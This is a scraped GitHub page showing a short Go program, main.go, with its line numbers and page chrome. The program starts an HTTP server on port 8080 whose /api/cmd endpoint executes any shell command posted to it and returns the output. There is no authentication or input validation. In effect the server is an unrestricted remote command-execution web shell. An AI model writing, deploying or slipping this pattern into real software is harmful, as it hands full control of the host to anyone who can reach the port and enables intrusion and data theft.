-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
74 lines (61 loc) · 1.42 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package main
import (
"encoding/json"
"fmt"
"net/http"
"os/exec"
"runtime"
)
type CommandRequest struct {
Command string `json:"command"`
}
type CommandResponse struct {
Output string `json:"output"`
Error string `json:"error,omitempty"`
}
func executeCommand(cmd string) (string, error) {
var out []byte
var err error
if runtime.GOOS == "windows" {
out, err = exec.Command("cmd.exe", "/c", cmd).CombinedOutput()
} else {
out, err = exec.Command("sh", "-c", cmd).CombinedOutput()
}
if err != nil {
return string(out), err
}
return string(out), nil
}
func cmdHandler(w http.ResponseWriter, r *http.Request) {
var cmdReq CommandRequest
if r.Method != http.MethodPost {
http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
return
}
decoder := json.NewDecoder(r.Body)
err := decoder.Decode(&cmdReq)
if err != nil {
http.Error(w, "Invalid request body", http.StatusBadRequest)
return
}
output, err := executeCommand(cmdReq.Command)
var response CommandResponse
if err != nil {
response = CommandResponse{
Output: output,
Error: err.Error(),
}
w.WriteHeader(http.StatusInternalServerError)
} else {
response = CommandResponse{
Output: output,
}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(response)
}
func main() {
http.HandleFunc("/api/cmd", cmdHandler)
fmt.Println("Server started at :8080")
http.ListenAndServe(":8080", nil)
}